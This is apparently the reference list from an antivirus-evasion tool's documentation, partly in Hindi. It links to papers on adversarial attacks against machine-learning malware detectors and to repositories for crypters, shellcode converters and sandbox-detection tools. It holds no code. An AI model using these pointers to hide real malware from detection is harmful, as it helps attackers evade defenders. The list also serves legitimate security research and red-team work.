Adversarial examples, आनुवंशिक अनुकूलन और MalConv के बारे में अधिक जानकारी यहाँ पढ़ी जा सकती है:
- [Adversarial EXEmples: A Survey and Experimental Evaluation of Practical Attacks on Machine Learning for Windows Malware Detection](https://arxiv.org/abs/2008.07125)
- [Functionality-preserving Black-box Optimization of Adversarial Windows Malware](https://arxiv.org/abs/2003.13526)
- [Malware Detection by Eating a Whole EXE](https://arxiv.org/abs/1710.09435)
## More
---
एंटीवायरस बचाव, AVET और अधिक जानकारी के मूल सिद्धांतों के लिए यहाँ देखें (अधिकतर संस्करण 1.3 के लिए):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)